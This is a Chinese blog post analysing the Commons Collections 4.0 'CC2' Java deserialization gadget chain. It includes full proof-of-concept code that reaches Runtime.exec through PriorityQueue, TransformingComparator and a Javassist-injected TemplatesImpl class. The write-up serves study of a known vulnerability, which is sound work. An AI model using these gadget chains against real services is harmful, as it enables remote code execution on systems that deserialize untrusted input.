CommonsCollections 2分析

CommonsCollections 2分析

Javassist

cc2的利用和cc1不同,这里用到了一个新的类库,可以允许开发者添加新的类和方法。下面来看看javassist的API文档的描述。

The Javassist Core API.
Javassist (Java programming assistant) makes bytecode engineering simple. It is a class library for editing bytecode in Java; it enables Java programs to define a new class at runtime and to modify a given class file when the JVM loads it.

The most significant class of this package is CtClass. See the description of this class first.

To know the version number of this package, type the following command:

java -jar javassist.jar
It prints the version number on the console.

它令java中运行时可以运行一个新的类,并在JVM虚拟机中可以加载它。

这里我们使用一个实例代码来更好的理解。相关方法可以翻看javassist的API文档

import javassist.*;

import java.io.IOException;

public class test2 {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {

        ClassPool pool = ClassPool.getDefault(); // 返回默认类池(其实就是在默认的jvm类搜索路径中搜索)
        CtClass person = pool.makeClass("Person"); // 创建Person类

        CtField name = new CtField(pool.get("java.lang.String"), "name", person);//private String name
        name.setModifiers(Modifier.PRIVATE);
        person.addField(name, CtField.Initializer.constant("xiaotan"));


        person.addMethod(CtNewMethod.getter("getName",name));
        person.addMethod(CtNewMethod.setter("setName",name));

        //创建无参构造
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, person);
        person.addConstructor(constructor);

        //创建有参构造
        constructor = new CtConstructor(new CtClass[]{pool.get("java.lang.String")},person);
        constructor.setBody("{$0.name = $1;}");//$0 = this, $1$2$3····代表方法参数
        person.addConstructor(constructor);

        CtMethod printName = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, person);
        printName.setModifiers(Modifier.PUBLIC);
        printName.setBody("System.out.println(name);");
        person.addMethod(printName);

        person.writeFile("./Person");

    }
}

其中这一行不可缺少,String的值必须初始化,否则值有参构造的时候会发生报错。

person.addField(name, CtField.Initializer.constant("xiaotan"));

我在网上并没有搜索到原因,debug也没有跟到,我猜测应该是如果为初始化,name值不会被加载到栈中,$0.name无法搜索到。以上仅个人观点,有错见谅。上面的代码会创建一个class文件。

public class Person {
    private String name = "xiaotan";

    public String getName() {
        return this.name;
    }

    public void setName(String var1) {
        this.name = var1;
    }

    public Person() {
    }

    public Person(String var1) {
        this.name = var1;
    }

    public void printName() {
        System.out.println(this.name);
    }
}

既然已经生成了class文件,我们不可避免的会思考到,我们如何调用javassist动态创建到类呢。这里有三个方法:

  • 通过反射调用
  • 通过class文件调用
  • 通过接口调用

通过反射调用

public class test2 {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {

        ClassPool pool = ClassPool.getDefault(); // 返回默认类池(其实就是在默认的jvm类搜索路径中搜索)
        CtClass person = pool.makeClass("Person"); // 创建Person类

        CtField name = new CtField(pool.get("java.lang.String"), "name", person);//private String name
        name.setModifiers(Modifier.PRIVATE);
        person.addField(name, CtField.Initializer.constant("xiaotan"));


        person.addMethod(CtNewMethod.getter("getName",name));
        person.addMethod(CtNewMethod.setter("setName",name));

        //创建无参构造
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, person);
        constructor.setBody("{name = \"xiaotan\";}");
        person.addConstructor(constructor);

        //创建有参构造
        constructor = new CtConstructor(new CtClass[]{pool.get("java.lang.String")},person);
        constructor.setBody("{$0.name = $1;}");//$0 = this, $1$2$3····代表方法参数
        person.addConstructor(constructor);

        CtMethod printName = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, person);
        printName.setModifiers(Modifier.PUBLIC);
        printName.setBody("System.out.println(name);");
        person.addMethod(printName);

        //person.writeFile("./Person");

        Object obj = person.toClass().newInstance();

        Method setName = obj.getClass().getMethod("setName", String.class);
        setName.invoke(obj,"pyshare");

        Method method = obj.getClass().getMethod("printName");
        method.invoke(obj);
    }
}

这里在无参构造的时候新加了一段代码,否则会报错。

通过.class文件调用

ClassPool pool = ClassPool.getDefault();
// 设置类路径
pool.appendClassPath("/Users/xiaotan/Public/javacode/cc4/src/test/java");
CtClass ctClass = pool.get("Person");
Object person = ctClass.toClass().newInstance();
//  ...... 下面和通过反射的方式一样去使用

通过接口调用

public interface PersonI {

    void setName(String name);

    String getName();

    void printName();

}
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath("/Users/xiaotan/Public/javacode/cc4/src/test/java");

// 获取接口
CtClass codeClassI = pool.get("PersonI");
CtClass ctClass = pool.get("Person");
ctClass.setInterfaces(new CtClass[]{codeClassI});


PersonI person = (PersonI)ctClass.toClass().newInstance();
System.out.println(person.getName());
person.setName("xiao");
person.printName();

我们可以发现其实第一种和第二种方法最终都是通过反射的方法执行的。

同理我们可以构造代码进行命令执行

如上是通过加载字节码的方式调用的,当然也可以通过反射的方式调用,因为我们将代码以及加载进入了static中,因此我们主要将类实例化我们就可以进行命令执行。

利用链分析

在ysoserial的cc2中使用了javassist和Templateslmpl(在后面的我会给出利用链,我们会发现其实利用链原理和fastjson1.2.24中相同)。但是直接看ysoserial的利用链很难理解,我们先沿用cc1的利用链,来进行命令执行,来更好的理解cc2的利用链。

简易版Poc1

public class Poc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open -a Calculator"})});

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);

        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

我们先来看一下Poc1的利用链:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
			ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

我们debug进行跟入:

具体的利用链这里就不过多分析了,主要讲讲利用链的主要思路。

为什么要在queue中加入两个值?


和cc1相同的是,cc2也是通过触发transform来进行命令执行的。而在cc2中是通过触发TransormingComparator的compare来触发的。我们先去看看this.transformer是否可控。


很幸运在TransormingComparator的有参构造中,可以直接操控decorated,和transormer

我们可以看见上面的POC1中又个很奇怪的地方:queue.add(1),queue.add(2)。为什么要这样写呢?因为中PriorityQueue.heapify()中会判断queue的size是否大于1,如果不是的话不会触发siftDown。

为什么用的是collections4.0?

因为在CC4.0中TransformingComparator继承了Serializable,而CC3.1没有。

Poc2

现在我们来看看yos中利用到javassist和Templateslmpl的利用链

TemplatesImpl

这里是Templateslmpl加载字节码的利用链:

TemplatesImpl.getOutputProperties()
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
        TemplatesImpl.defineTransletClasses()
            TransletClassLoader.defineClass()

在Poc2中我们设置了几个值,这是因为在TemplatesImpl会对_name和_class判断,那_bytecodes又是如何触发的呢?我们跟入defineTransletClasses中,

这里会判断_name是否为null,_class是否为null。我们再回过头看看在TemplatesImpl中还有一个地方,为什么要将字节码classBytes设置成byte[][]的类型?


这是因为在TemplatesImpl中,_bytecodes是byte[][]类型的,所以需要进行转换。

还有最后一点这里会判断字节码的父类是不是AbstractTranslet.class。

为什么要设置size为2


这里如果不设置,则无法进入siftDown。

为什么要用反射修改size

我们在Poc1中是直接利用add的方法修改size但是这里我也试了一下,是无法触发的,因为如果使用add会将TemplatesImpl覆盖掉,所以需要利用反射。而为什么需要修改size上面也已经说过了,如果size不大于1是无法触发siftDown的。
下面是Poc2完整的代码

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class Poc2 {
    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
                .getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);
//        queue.add(1);
//        queue.add(2);

        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

总结

上面是我对CC2的分析,分析的不是很仔细,只对一些关键点进行了分析,因为我觉得如果跟着利用链一步步分析有点像流水账,不如写下一些关键点,多留出思考的空间。下面想学习一下内网,可是也想学代码审计,呜呜,心还是静不下来,要努力把心静下来,好好专研技术。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值